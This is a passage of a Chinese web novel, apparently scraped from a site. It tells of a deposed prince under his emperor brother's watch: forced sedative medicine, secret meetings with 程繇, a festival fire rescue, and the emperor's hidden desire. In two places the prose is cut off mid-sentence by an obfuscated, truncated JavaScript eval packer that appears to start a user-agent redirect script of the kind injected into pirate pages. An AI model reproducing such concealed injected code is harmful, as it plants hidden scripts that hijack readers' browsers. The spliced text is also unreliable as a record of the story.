李修宜伸手回抱了他,在乐湛看不到的地方,李修宜的面上浮现一丝静谧安宁,他们是注定要一辈子在一起的。 乐湛被打了个措手不及,思索两秒,笨拙的回勾住李修宜的后肩膀,小心试探,“哥哥,你其实早就不生我的气了是不是?” 李修宜没有正面回答,“这药喝了许是会犯困,再睡一会吧。” 乐湛乖顺地点点头,抓着被子躺下,床榻旁的圆椅上坐的是跟母后有三分神似的一张脸,乐湛一瞬间的恍惚不真实感。 他好像真的回到过去了。 “往常这个时候母后都会给我讲寓言故事。” 这是在批评他这个当哥哥的不称职了。 “你多大了,还要人讲故事才肯睡?” “不是,”乐湛望着他跟母后很相似的神态,转过头看着帐顶,“我只是有点想母后了,你呢?” 身边那人缄默良久,一只手伸出来替他掖了掖被子,就像萧复雪曾经无数次为乐湛做过的那样,乐湛顺着他的动作看向李修宜,像他这样的人总是很难将思念表露于面上。 “眼睛闭上。” 乐湛听话的闭上眼,听到了另一个声音在他耳边讲起那个母后都曾说与他们两人听过的故事,来自于他们血脉最根源的故事。 这天,小狐狸在森林里迷了路,不小心掉进了猎户的陷阱,被夹断了尾巴,它伤心地跑回狐狸窝,遭到了其他同伴嘲笑,狐狸来到山下,朝着山神娘娘祈祷,“尊敬的山神娘娘,请赐我一条尾巴吧!” 山神娘娘听到了它的祈求,赐给它一条洁白蓬松的尾巴。狐狸高高兴兴回了家,新尾巴受到了所有狐狸的夸奖,狐狸听了很高兴,再次跑到山下,朝着山神娘娘祈祷,“尊敬的山神娘娘,请赐我一条彩霞般绚烂的尾巴吧!” 山神娘娘答应了它的祈求,赐给它一条彩霞般绚烂的尾巴。狐狸高高兴兴回了家,果然又受到了所有狐狸的夸奖,狐狸很高兴,又跑到山下,朝着山神娘娘祈祷,“尊敬的山神娘娘,请赐我一条阳光般璀璨的尾巴吧!” 乐湛呼吸渐缓,已经沉沉睡去。 李修宜看着他沉静的睡颜,一时不知道是乐湛在借他怀念母后,还是他在借乐湛怀念母后。 “山神娘娘答应了它的祈求,赐给它一条阳光般璀璨的尾巴。” 故事的结尾,小狐狸抱着漂亮的尾巴回到了狐狸窝,受到了所有狐狸的喜爱和夸赞,成为了世上最开心的狐狸。 乐湛一直睡到了日上三竿,这一辈子加起来都没有这一觉睡得舒心快活,一个梦也没有,甚至缠绕了他三年的噩梦连一个闪影也没有出现。 分明最惧怕的是这个人,最憎恨的也是这个人,却只有在他面前才能睡一个安稳觉,真可笑。 低下头喝粥的时候,一个意想不到的东西荡进了他的视野,一只精致剔透的玉虎头坠子。 乐湛丢了匙子,捏住那坠子不可思议地看了又看,很高兴地塞进衣领里。 李祯宽宥了他,母后也会原谅他的罪行吗? * “我想起来件事。” 乐湛刚喝了药,这会儿困得直点头,最终没抗住趴在长案上眯着了,听见李修宜的声音这才微微睁开惺忪的睡眼,鼻腔里发出一声迷迷糊糊的气音。 “嗯?” 李修宜原本埋头奏疏,一抬头才发现乐湛又睡着了,“让你去榻上睡又不肯。” 跟小时候一个德行。 乐湛打了一个大大的哈欠,而后又吸吸鼻子,“睡得太多了也不好,一天里大半都是睡过去的,闭眼天是黑的睁眼天又是黑的,那感觉太吓人了,”他揉了揉眼睛,“对了,你刚刚要说什么事来着?” “听说你之前故意毁了东平王府的婚约,抢了李 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而邺城之中最好的选择便是东平王孙李锦玉,此人游手好闲素无远志,玩乐之心甚重,想必也是个好色之徒,家世又是一等一的出挑,凭着程繇的容色,再巧计笼络一番,要攀上这个贵婿应当还是有机会的。 程繇秉持父命缠着李锦玉的那几年恰好是乐湛跟李锦玉最不对付的那几年,两人以此为契机互相熟识倒也是情理之中。 “李锦玉是为了跟我作对才同意了跟程家的婚事,郎无情妾无意,程繇没办法抗拒家里的决定,我就顺手帮她阻碍了这个错误的发生。” 李修宜冷笑,“你倒是热心。” 乐湛当然听得出来这不是夸奖,低头不敢说话。 “那你呢,对她有情意吗?” “还好,”乐湛垂下的眼睛四下闪躲,他也不知道为什么要在李修宜面前扯这个慌,只是下意识觉得在李修宜面前表露喜好是一件很危险的事情。 李修宜再未表态,好像问出口的是一个压根不需要他回答的问题,乐湛的睡意却被他的随口一问吓跑了。 “哥。”乐湛有些心虚试探,“我想出宫。” “这个随你。”李修宜继续处理公务,没有空搭眼看他,“我没有限制你的出行,想出宫不必跟我说。” 乐湛想起了前几日李修宜已经表明过态度,按理来说他不应该再试探,但是既然提到了程繇,他总不能直到娶妻生子一直待在宫中,“我是说,我想搬出宫,回王府去住。” 李修宜手上动作稍顿,“理由呢?” 乐湛心中腹诽,本来按照规矩,新帝登基,其余皇子就该回到封地不准入京,还需要什么理由?但是他不敢直接说出口,只能委婉再委婉。 “朝中不少人都想要哥哥赐死我,要是一直待在宫中肯定会有碍哥哥的名声,更容易激起萧家和功臣们的不满,想了想哥哥还是将我贬去封地比较好。” 乐湛很清楚在李修宜面前耍小心思只会适得其反,还不如直接坦白直言,做小伏低求他的恩赐。 “这个不必你来操心,好好的把伤养好。” 不知道是不是错觉,李修宜的语气好似带了一点烦躁的不豫,乐湛自幼就会察言观色讨好李修宜,见此情形不敢再得寸进尺,“是。” 19. 未婚妻 挹芳宴,作为邺城中王孙贵族专享的头号销金窟寻欢场,别的不说,就里头这精妙绝伦的江南园林的布景,底下挖空了烧着地龙,就算在严冬露天也能觉着四季如春,正中最高的一层楼足足有四层,京都之内楼高有严格的规定,就连宫中最高的无重楼也仅有七层,可见这背后主人背景雄厚。 馆中的掌事们都是见过大世面的,但今天来客人着实非同寻常,连馆主都惊动了,清了半个场子给他腾位置。 “不知今日王爷大驾,未提前备好雅间,是小人们的失职了。”馆主并着手恭谨笑着。 齐王从前如何赫赫凶名他们不是没听说过,他犯的是五马分尸的大罪,但他没死,反倒还好端端站在跟前,比恶煞更可怕的是死不掉的恶煞,馆主不敢不慎之又慎。 “只是在此等个人,你们不必在跟前杵着,都撤了吧。” “是,不知王爷等候的客人是哪一位,也好叫小人下去恭候相迎。” “不用,将看守的人撤一半,她自己会来。” 由于馆内光顾的都是一些达官显贵商谈要务,所以挹芳宴的看守极为严苛,甚至不输宫禁,见齐王这么说了,管事们互看两眼,也就一起退下了。 侍从上了壶清茶外加几碟子精致茶点,也跟着阖上门退下,自此再无一人进来打搅。 乐湛斟了一盏茶,而后放到嘴边抿了一口,不多时就听见背后的窗边有细细簌簌的动静,紧接着一个东西飞掷而来,乐湛撑着狐绒座旋身躲过,又安安稳稳坐了回去,杯中滴水未落。 他的目光落到了桌上那袭击他的东西,是一株纯白木槿,花冠硕大,雍容清雅,上头点缀了点点露珠,他捡起那支被摔在桌上的花凑到鼻子旁边嗅嗅,徒有其表,一点香气也没有。 “王爷真是挑了个好地方,你怎么就敢保证我能穿过挹芳宴的严防死守?”程繇踩在临仙楼的檐顶上,一手撑着窗框翻进来,支着一条腿坐在窗框上。 乐湛捏着白木槿,闻声回眸,声音带着久病的恹恹,“这不是很容易就进来了吗?” 不得不说,这枝花跟他真是极为相配,极淡的色泽里偏生出一种不管不顾秾艳靡丽,程繇在来的路上只一瞥眼就忍不住想要摘下来,想看他拿在手里。 当年齐王一手毁了程家好不容易攀上的婚约,程琩两边迟疑,虽说乐湛如今势大,可上头还有一个手眼通天的杜获,要是功亏一篑,程家就要连带着遭受灭顶之灾,要不要做这富贵险中求的买卖,程琩一时还拿不准,眼看就要火烧眉毛了。 而程繇还在自顾自绣着一副白牡丹图,好似事不关己一般,程琩这时候才想起来问问女儿的意见。 程繇穿针引线间想也不想,“李璟。” “你也觉得他将来能按死杜党,即位称帝,是不是?”程琩急切的想从女儿这里得到一点做决定的信心。 程繇没说是也没说不是,而是女红中抬起头,“因为他长得好看,比我见过的所有人都好看。” 现在一看,真是不错。 “想穿过挹芳宴的守卫确实不算难事,要过家里那关才是最难的,我的侍女现在还穿着我的衣裳躺在床上装病,要是让我父亲知道我偷摸出去私会外男我就死定了。” 乐湛有些忧虑地搁下手里的花,“你被禁足了?” “岂止是我,自新帝登基以来整个程家就没有一个人敢出门的,我爹天天跪祠堂祈求祖宗保佑,最近发现一家老小保住了,又开始跪谢新帝仁厚云云,看的人烦死了。” 乐湛被她逗得笑了笑。 程繇盯着他看了一会儿,能看见他的眼睫又长又直地低垂着,像是初生的小鹿或是小马的眉眼。 “你父亲现在对你什么打算?” 短短几个月内,他和李锦玉相继倒台,程琩不愿意放弃乘女婿东风肯定会另择人选。 “邕定王府。” 乐湛试着回想,“邕定王世子近年不是才十四吗?小了点吧。” “不是儿子。” “邕定王?”乐湛诧异失声,“这,老了点吧。” “又是老了又是小了,你先替我挑上了。”程繇声音沉稳,并不能听出太多情绪,她早就习惯被父亲当作棋子决定婚嫁乃至性命。 “要如果我和邕定王摆在一起,你选谁?” 乐湛很是郑重认真地问她,连带着整个上身都朝她偏了偏。 “自然是……”程繇凑近了对他说,乐湛的表情也随之凝重,好似对待天大的要事,反倒叫程繇生出一瞬恶劣的坏心眼,“邕定王。” “为什么?”乐湛受了天大的辜负,大声质问。 “因为我喜欢老的。”程繇踱了两步,来到他对面坐下,给自己也倒了杯茶。 乐湛将木槿花摔进程繇怀里,起身就走。 程繇手忙脚乱接过要散不散的花,怜惜地拢拢花瓣,见乐湛要走,连忙去哄,“跟你开个玩笑,怎么当真了?” 乐湛冷冷垂眼,“你说的话我自然每一个字都当真记下了。” 程繇顿时懊悔不已,她怎么将乐湛这较真的脾气给忘了,“这样,你要是真的气不过,我让你打一拳怎么样?” “我才不打女人。” “不打就是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“眼睛都睁不开了就别想着我的事了,就在这睡吧。” 乐湛几乎是还没碰到榻上就睡熟了,就算在睡梦里手里还捏着衣襟,防着谁似的。 挡在身前的手被程繇很轻易地拿开,可转眼想到乐湛醒来又急又气不乐意搭理人的样子,他总是爱生气的,届时再想哄可就没那么简单了。 罢了,来日方长嘛。 20. 小五变小六 乐湛再睁开眼已经是第二日中午,窗外晴阳高照,映照着淮水湖面熠熠流光射入眼底,远远能看见桥面上游人如织,他被强光照得眯了眯眼。 天亮了。 天亮了! 他居然在宫外过了一夜!乐湛一把掀开薄被,赶忙起身往楼下跑,边跑边吩咐,“备架,回宫。” 回到岁康宫时,宫人还是一切如常正在院子里洒扫。 “哥哥来过了没有。” 宫人行过礼后如实回答,“回王爷的话,陛下没有来过岁康宫。” “也没有问起什么话吗?” 宫人对他紧张兮兮的反应感到很奇怪,但还是摇摇头,回道:“没有。” 乐湛终于有些放心让宫人们下去了,心想他真是担心得太过了,小时候被罚跪打手板的阴影实在是太深刻了,就算李祯处罚他是因为在宫人一事处理的不恰当,乐湛却莫名将出宫晚归跟李祯生气的原因也划上了对等。 但现在想想,他整天待在宫里都见不上两面,更别说偶尔外宿一夜了,李修宜那么忙,哪里又时间精力顾得上他。 摸清楚了这一点,乐湛虽然名义上还在岁康宫,但是跟住在宫外也没差别,几乎是得了空就往宫外跑,只回宫喝个药权当交差了。 入夜,东兴大街上仍旧人头攒动,临水的勾栏瓦舍有哼唱小曲飘过淮水而来,倒映着岸上鱼龙舞动,足有两人高的木偶口中喷火,引得众人惊呼喝彩,入目皆是熠熠华光。 程繇买了两个糖人回来,乐湛还站在原地看着台子上的变脸戏法,程繇好不容易挤进去,一只手绕过,将糖人递到了乐湛嘴边,乐湛低头看了一眼,张口咬上去,用嘴接了过来。 程繇那只手还没放下了,就势搭在他肩上。 “这糖别咬啊,舔舔就行了,很黏牙的,黏上了说不出话。” 乐湛一愣,面无表情偏头看她。 “怎么了?”程繇看向他手里被咬掉一个头的糖人,蓦然笑出声,“黏上了?都让你别咬了。” 乐湛转身逆着人群往外走,牙被黏住,声音含含糊糊的,“……不早说。” 两人在川流的人潮里并肩走着。 程繇问道:“怎么今日的药劲没上来?还有精力大晚上的跟我来逛集会。” 乐湛舔了舔牙,“我这两天没喝药,偷偷倒了。” 程繇转过身拽住他,“别乱来啊,不喝药你这病情不要紧吧?” 乐湛满不在意地继续往前走,“肯定不打紧啊,我从前没喝过这味药还不是好好的,喝了反而要死不活的,说不定是那死庸医看我不顺眼,故意害我的。” “你这话有够丧良心的。” 乐湛一肘顶开她,“你站哪边的?” 程繇非常轻车熟路地低头认错。 乐湛仍是不理,要不是那个谈庆公多管闲事救了李修宜一条命,他现在还是只手遮天的齐王,沦落到现在这番处境一半怪那老头。 要是能找个什么机会报复他一下就好了。 程繇误以为他真生气了,手在他眼前晃晃,“怎么这么大气性呢?我这不是担心你的身体吗。” “没,只是在想事情,”乐湛拉下他的手,“不会有事的,只要不让李祯知道就不会有事。” “你都这么大了还怕你哥哥?” “以前是以前,现在不一样了,”乐湛面色露出些许忧虑之色,“他现在真的会打死我。” 正说着,两人行至城门楼下,人群阻塞纷杂聚集在御楼脚下,一步也迈不进去了,隔着人影重重,乐湛远远的看见了皇帝的仪仗队和禁军。 乐湛心中忽然警铃大作,“今天是什么日子?” “今天?今天夏至啊。” 乐湛一拍脑门,他真是睡昏头了,忘记按照祖制每年夏至是夏祭大朝会的日子,皇帝要上御楼观灯,接受万民瞻望。 过去三年皇帝病重,他与杜获虽有实权却没有皇帝之名,这项祖制传统一直被搁置了三年,以至于连他自己都快忘记了这么一回事。 “快走,快走快走快走……”乐湛拉住程繇,逆着人流往回走。 正这时候,目之所及所有的人声静下声来,望向了那高楼之上出现的人影,未等俩人走出去,所有人影已经哗啦啦跪了一地,朝着御楼之上山呼万岁,厚重的声音叠在一切好似晨暮的钟声,一圈圈地荡开。 他们站在跪地的人影显得格外扎眼,乐湛动作僵住,回头看了一眼,李修宜于万众簇拥之中不偏不倚看过来。 他看到了,绝对看到了。 这时候巡逻的守卫已经围上来了,想走估计是不成了,程繇摇了摇他的手,“要不跟着跪下吧,这样太显眼了。” “已经晚了,”乐湛心虚地挪开目光,“找个地方等传唤吧。” 但凡是皇帝出席的场合,戒备都会森严万分,御楼之下担心有人行刺,这一圈层层把守,二人不好胡乱站起身走动,只好跟着所有人一起跪下,一直到皇帝离场,禁卫开始疏散人群为止。 二人就近找了个露天的茶座坐下,乐湛比刚开始还要心事重重,递到他面前的茶也只是摆摆手,“不必了。” “怎么了?陛下真的会因为你不吃药怪罪你吗?”程繇收回茶盏,有些费解 就连谋逆背叛这种死罪皇帝都宽宥了,难不成出宫晚归和不吃药这两项比谋逆都罪大恶极吗。 乐湛才要开口,又不知道该说些什么,毕竟到现在为止他都不知道自己在害怕些什么,这条命确定是保住无疑,但是每次看到李修宜那张脸还是会心脏一紧。 做贼心虚,乐湛只能想到这个原因。 乐湛道:“没事,我在想要不要让你先回去。” 程繇道:“没关系啊,陛下刚刚既然看见你肯定也看见我了,把我支走莫名有种此地无银三百两的感觉,还是一起面圣比较妥帖些。” 乐湛道:“说的也是。” 程繇看了他一会儿,打断了他咬手指的动作,缓缓将他的手拿下,“不会有事的。” 乐湛要哭不哭地笑了一下。 人群里爆发一阵惊呼尖叫,乐湛和程繇皆被吓了一跳,纷纷侧目,茶座隔着一扇绿竹充当屏风,隔着枝叶可以看到对面就是变脸喷火的戏法,一路走来听过不少一惊一乍的喝彩,两人都已经见怪不怪了。 直到那呼喊声持续不断,带着意料之外的惊悚,伴随着两声凄厉的“救命啊——” 两人对视一眼。 出事了? 茶座的客人相继起身前去看个究竟。 原来是杂耍的术士学艺不精,喷火的时候意外将自己燃着了,身上应当是不小心沾染了松香之类的东西,火势顿时烧得遍身都是,成了个火人,疼得他满地打滚,直直的往人群里重,受惊的人群慌忙躲避还是被燃着了好几人,顿时嘶吼痛呼叫成一片。 “水!有没有水!!” 声音被淹没在了惊呼声里,躲避的人群被吓丢了魂,一个劲的往外面狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程繇的头已经被按进水里,只能听着声音依稀辨别方向,她竭力将手伸出水面,另一只手就已经死死握上来,背负了两个人的重量,用力将她扯出水面。 乐湛握着竹竿的一头,另一只手拉住程繇,朝着岸上大喊,“可以了,拉我上去!” 扒在程繇身上的男人被烧毁了眼睛,泡在感官已经失衡,听见声音知道有人要得救了,拼命想抓住那个救命稻草,于是踩在程繇身上往乐湛身上爬,两人握住的手禁不住他这样爬,加上水里太滑,直接被男人踩断了。 “救命救命救命——” 男人趴在乐湛耳边大喊,吵得他耳膜一阵一阵的痛,腿乱蹬乱踢之间将程繇踢得更远了。 乐湛怒上心头,抬手扼住男人的脖子,恨不得立刻将他掐死在这,手上力气猛然收紧,男人更受刺激,按住乐湛的头往水里按,这下他是真的有点想杀人了。 头被按进水里,隐约能听见岸上簌簌的动静,紧接着“扑通”几声,跳下来了十几个玄甲近卫,很容易地将互掐的男人跟乐湛分开,将所有人统统拉上岸。 岸边的人群已经被疏散了,禁军围了个密不透风,抬头只能看见三面人墙,乐湛和程繇好似两只落水鸡浑身湿透地站在岸边,夏天穿的衣服薄,浸了水的衣裳贴着身显得尤其不体面,乐湛虽然里面只穿了件单薄的里衣,但还是将外衫脱下来,递到程繇怀里给她挡一挡。 “王爷万安,”何岑躬身从人墙后面冒头,来到乐湛跟前见礼,“陛下召王爷与程二姑娘一见,这边请吧。” 21. 挖墙脚 邀月舫泊在水面上,高有三层,仿佛一座漂浮在水面上的华丽宫殿,灯火璀璨映照着粼粼水面,光随风走,泛着金色的涟漪。 两个半干不干的落汤鸡就这么狼狈地走进去面圣。 “臣女拜见陛下。” 乐湛看到程繇跪了,想了想,也跟着跪下去了,弱弱地喊了声:“哥。” 这幅样子就活像一对拜堂的新人。 李修宜没搭理他,“这是怎么搞的?怎么两个都成了这副样子。” 他的声音尚且还算温和,是关心小辈的语气,自有一种润物细无声的力量,让人不自觉就放下对九五至尊身份的谨慎戒备。 程繇端起大家闺秀的样子,将方才发生的事一五一十地陈述一遍,告罪道:“连累齐王殿下涉险,还请陛下降罪。” 李修宜淡笑,“无妨,今日你们也受惊了,跟侍女下去换身衣服再来回话不迟。” 由于乐湛将皇帝当成了洪水猛兽,连带着程繇也跟着紧张起来,可仅有两句话的功夫就叫她松懈下来,侍女在旁边候着,“女公子,这边请吧。” “多谢陛下,”程繇看了一眼乐湛,犹豫半晌起身跟着侍女走了。 乐湛起身,“我也去换一身吧。” 他里面就一件薄薄的里衣,白丝绸质地本就容易透,浸了水之后更是跟没穿一样,一路走过来怪不自在的。 “你不用,”声音很明显沉冷了不少。“就在那里跪着。” “是。”乐湛老老实实跪回去,双手扶着膝,低垂着头。 “这会儿正是药效上来的时候,不在岁康宫呆着,怎么会跑到东兴大街上来?” 乐湛抿嘴,背上好像压了块石头喘不过气,“今天药效没那么厉害,加上集会热闹,就没那么困。” “少拿这些话来蒙我。” 果然在李修宜面前扯谎真的不是一个好的选择,乐湛顿感大难临头闭上眼,“我没喝药。” “什么时候开始的?” 乐湛张口还想隐瞒,瞬间想到什么可怕的下场,只能实话实说,“到现在……已经五天了。” 李修宜额头青筋都崩出来了,忽然开始找手边趁手的东西,乐湛赶紧扑上去按住他的手,“哥哥,你要打我回去再打吧!” 原来是想着程繇还在这里。 李修宜不轻不重地甩了他一巴掌,“你还知道要体面,两个人飘在淮水里的时候怎么不知道要体面,要不是我让人去捞你,你现在的尸首已经顺着水飘到河下游去了知道吗?” 他这个力道脸上不会留下巴掌印,乐湛还是捂着脸跪在李修宜脚下,大气不敢出。 “这就是你吵着要出宫的结果,药药不喝,身上这点顾全自身都不够的功夫还敢跳下水学别人演什么英雄救美,要是不想活了何必假他人之手,我现在就可以给你一个痛快。” “我错了,我从此以后再也不说要出宫的话行不行?” 想着程繇还在这里,他必须要在尽快稳住李修宜,至少不能让她看见自己跪在李修宜跟前的样子。 “用得着你说?你看从今往后我会不会让你迈出宫中一步。” 食指指着乐湛的鼻尖,乐湛伸手握住李修宜的手指,“我都听你的,有什么账我们回去再算,你要打死我都认了,别在这里。” 姿态低到了尘埃里近乎哀求,李修宜凝视着他,含着冷冷的怒气抽回手,“起来!” 再怎么样乐湛也是他的弟弟,李修宜不可能让外人看见他不体面的那一面。 程繇已经换好了衣衫,整理好了仪容,再度随着侍女前来拜见,进来就看见皇帝端方温和一如方才,只是坐在椅上的乐湛脸色很难看。 程繇以为是乐湛被骂了,见礼赐座坐下以后赶忙将罪责揽到自己身上,“方才是臣女非要逞一时之能,想着将着火的人丢进水里就能暂缓踩踏之祸,未想高估了自己的能耐,将自己置身危险不说还连带着将齐王拖下了水,陛下要治罪的话还请治臣女一人的罪吧。” “朕说过了,无妨,”李修宜道,“未想到程氏女竟有如此胆魄,踩踏之祸若是不能及时遏制必将牵连甚广,这也是朕在夏祭朝会不愿意看到的,英勇之举该嘉奖才是,谈何治罪。” 程繇颇不好意思道,“禁军隔得远没有办法第一时间赶到,刚好我们就在跟前,看着那场面没有办法袖手旁观,只是顺手而为罢了。” 乐湛有些紧张地看了一眼程繇,李修宜说是夸奖,但是乐湛却听不出半点夸奖的意思,只是程繇不了解这个人,还听不出其中深意。 “想在错杂奔逃的人堆里自由穿行不是易事,没想到你身为闺阁女子,身手却是不凡。” 程琩一心想让女儿傍一个金龟婿,教导的肯定是三从四德女红女工一类,不可能让她习武,她能有这身功夫倒是稀奇。 程繇早已在李修宜的盛赞下放下了警惕之心,听他问起了就如实回道:“当年齐王殿下和东平王孙一同跟随陛下前往边郡,在万都统手下习武,臣女也一道前去了,不知陛下是否还有印象。” 当年程繇秉承父命,得了机会就往李锦玉身边凑,刚好李锦玉听见乐湛要跟着李修宜去边郡,想着不能让他一人得势,死乞白赖地也求着李修宜带他去,方便他继续跟乐湛作对。 当年李修宜军中事务繁忙,将两个人丢给了万都统之后再没有过问了,也就没有注意李锦玉身后还跟了这么一个尾巴。 “原来是师承万荃。” 程繇坐立不安起来,“不敢说师承,只是有幸在旁边看过一眼。” “所谓目见不如足践,只是旁观便能有今日这番身手,可见女公子天资卓绝,比朕这不成器的弟弟强上不少。” 程繇大惊刚要摆手称不敢当,乐湛先道,“她的天分本来就强过我跟李锦玉。” 他倒骄傲起来了? 李修宜绷着脸,不声不响地看了乐湛一眼,乐湛立刻闭嘴,不敢再说一个字。 又闲叙几句,李修宜假称天色不早,派人送程繇回府。 程繇走了,乐湛的难题才刚刚开始,他试着跟李修宜服软换取他的原谅,“哥哥,我保证再没有下次了,我们先回去好不好。” 虽然是四五月的天,但是刚刚才泡过水,晚上淮水面上风又大,冰冷单薄的衣服好似一层冰壳贴在皮肤上,冻得他上下牙打颤,李修宜又不允许他把湿衣服脱下来,乐湛只 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什么叫哪一步了? 乐湛不是听不懂李修宜问的是什么意思,他只是还没想明白李修宜想听的答案是什么,他习惯了一言一行的出发点都只为讨好李修宜,李修宜的喜好已经远远超过了他本人的意愿。 这念头在乐湛的脑子里过了一瞬,猜想是李修宜想问他有没有跟人无媒苟合,坏了姑娘家的清白,做了有违德行的事。 他实话实说道,“我没有做过任何逾矩的行为,这些年杜获一直虎视眈眈地盯着,为防他有挟持幼帝登基造反的心思,我不敢婚娶也不敢有子嗣。” 原来只是没有贼胆,并非没有贼心,要不是境况所限乐湛早就跟人跑了。 彼时他的尸骨还在邙山躺着,乐湛就有洞房花烛夜的心思了,李修宜的呼吸微微一滞,而后缓缓吐出一口气。 “跟她断了。” 李修宜不容有疑地吐出几个字。 乐湛双眸微睁看过去,他还以为李修宜问了这话是要给他赐婚的意思,没有想到冷不防来这么一句,也不敢质问为什么,只是目光闪烁不可思议地望着李修宜。 “不是你说的还好,莫非都是骗朕的?” 李修宜头一次单独在他面前搬出皇帝的身份,好像只要不肯跟程繇断了就是欺君之罪,不但要治他的罪,就连程繇和程家也难以幸免。 他在威胁他。 乐湛自己尚还朝不保夕,他就不该贪心还跟程繇保持联系,更不该将程繇带到李修宜面前让她置身险境。 乐湛垂下睫毛,“臣弟知道了,会照做的。” 李修宜嘴角漾出微笑的影子,似是很满意他现在的表现,他拖住乐湛的下巴,将乐湛越来越低的头蓦地抬起,乐湛还没来得及收敛的失意与怨气一览无遗地落入李修宜的眼中。 李修宜视而不见地略过,他拿手背贴了贴乐湛有些发热的脸颊,态度转瞬又温和起来:“有点发烧了,是不是?” 乐湛垂着眼,恹恹地点点头。 “回家吧。” 李修宜轻轻地笑,“回我们的家。” 22. 睡吻 兴许是乐湛的认错态度过于良好,也可能是下跪的姿势很合乎李修宜的心意,回去之后并未受到多余的责罚,只是那晚过后,煎好的药不再送去岁康宫,而是直接送到了上清殿,要当着李修宜的面一滴不剩地喝完。 乐湛嗜睡的毛病越来越严重,到最后意识清醒的时候也仅有两三个时辰左右。 他甚至怀疑哪天也和先帝一样被迫病逝也说不一定,那样李修宜不必背负赐死手足的名声,还可以做他无可指摘的仁厚君主。 可不喝又能怎么办呢,无非更早地见了阎王罢了。 “王爷,药煎好了。” 乐湛从惘想里回神,“知道了。” 走进上清殿的时候,李修宜仍然在批阅奏折,自有记忆起他就一天没有闲下来过,即便是登基后也没有丝毫松懈。 可即便是这样,乐湛仍是羡慕他,至少他背负了所有的期待盼望,是真正受重视的人。 李修宜头也不抬,“来了。” 紧接着宫人端上来一碗浓黑近墨的汤药,漾起来也没有清水那样清爽干脆的波纹,浓稠得好似一碗泛不起涟漪的漆黑膏药。 这药和他当年灌先帝喝下的药何其相似,乐湛甚至能在漆黑的反光里看见他亲手将碗壁卡进父王嘴里的样子。 “哥……”他本想靠着这一声哥求得李修宜顾念旧情,别让他喝这毒药了。 李修宜却是拉过乐湛的手,将他的腰胯揽过来,乐湛猝不及防被拉着往前迈了两步,眼见李修宜的腿还架在原地,再不避就要撞上了,他下意识地躬身往后。 这又是什么用意? 兴许是药效的缘故,他明显感到这段时间脑子迟钝了很多,面对突发情况很难瞬间做出反应,乐湛刚想说等一下,下一刻就已经被按在李修宜腿上坐下。 近日天气隐隐有些暑热的迹象,乐湛穿得很单薄,银绣玉带束腰,腰身显得不足一握,好似覆雪青竹一般。 李修宜颠了颠腿上的分量,“怎么比从前还瘦了。” 乐湛一瞬间失去平衡,险些掉下去,慌忙地扶住桌沿稳住,片刻后干干地道,“是有一点。” 这三年他日日殚精竭虑,白日要防着杜获的明枪暗箭,晚上夜夜噩梦惊扰,神经时刻紧绷着,就连睡觉也要留有一丝神志在外守着,始终不敢真正睡去,他的身体便是那段时间被耗尽的。 “把药先喝了。” 乐湛闻声而动,双手捧住碗壁,乖巧地好似一只任人操纵的人偶。 他拧着眉,将一碗药咕嘟咕嘟往下灌,那药苦得他喉口紧缩,身体下意识要将这苦味阻隔在外,到最后一口连吞咽的动作都艰难起来,但他自幼被呛了那么多次的经验不是白来的,碗口没离开嘴边,他先抿住唇,让频繁做出吞咽动作的喉口暂且休息一下,而后一口气将带有沉淀药渣的汤药一口气吞下。 他苦着脸将碗递给李修宜看,表示自己已经一滴不剩地喝完了,绝无异心。 虽然喝了那么多年的药,他还是没有办法做到面不改色,甚至喝完很长一段时间一个字也说不出来。 一杯清水被递到嘴边,乐湛想也不想就喝下,想赶紧用更多的水将口里的苦味冲下腹中。 他压下药味更习惯用清水而不是蜜饯,这个小到不足为道的习惯也仅有萧复雪跟李修宜知道。 “真棒。”李修宜接过他手里的杯子,转而递给宫人。 乐湛险些没绷住,望向李修宜,忍不住道,“我不是孩子了。” “原来你还知道自己不是小孩,怎么喝个药还要人盯着。” 乐湛没话说,撑着桌子要起身,“我困了。” 李修宜没有要松手的意思,“睡吧。” 双腿悬空不好施力,乐湛试着踢蹬了两下没能下去,“在这吗?” “就在这。” 乐湛撑在桌子上的手心又往后挪了一挪。 虽说他也不是没在李修宜的腿上坐过,但那是在小时候,长大后出于体统规矩的约束,他们很少有这些亲昵过分的时候,就算都是男人,两个成年的身体抱在一起难免叫人不自在。 尤其是在得知他并非梁王室血脉,李修宜对他的态度明显比从前冷淡疏离很多,乐湛知道他这是介怀自己狄人的血统,介怀他疼爱了十几年的弟弟竟然丝毫血亲关系。 自从被推开过一次后乐湛再也不敢凑上去了。 做人总得识趣点。 “让我下去。”乐湛试着掰开李修宜的手,奈何困意直冲脑门,怎么也使不上力气,很快上下眼皮开始打架,一闭眼再难睁开。 李修宜将他后撑的手臂一手揽过来,抱孩子似的将人抱入怀中,另一只手却是很熟练地翻了翻奏折,继续批阅起来。 “要睡便睡,现在没功夫送你回去。” 乐湛的下巴搁在李修宜的肩上,意识逐渐走向昏沉,直到彻底昏睡过去他也没想明白李修宜的意图,明明当初让他滚的人是李修宜,现在在这里演什么手足情深? 背上的人呼吸逐渐走向和缓,李修宜落笔的动作跟着顿住,神思飘远,没注意浓墨在紫毫笔尖汇聚,最终滴落下一朵墨花。 刚开始发现对乐湛动了那种腌臜的心思,他自己也是震惊不小。 李修宜自幼接触的都是帝王心术圣人学说云云,怕他心生懈怠,先皇后从不曾让他触碰过风月之事,那个情欲淫乐的世界与他几乎是完全隔绝割裂的,头一回感受到异样居然是在他的弟弟身上。 他自然清楚这是有违人伦,更是大逆不道生出的悖乱之心,李修宜必须在这念头未现雏形的时候将其生生掐灭下去。 可他越是伪装得若无其事,心中那份被压抑许久的念头越是甚嚣尘上,以一种不可阻挡的势头冲破了他的故作镇定伪装。 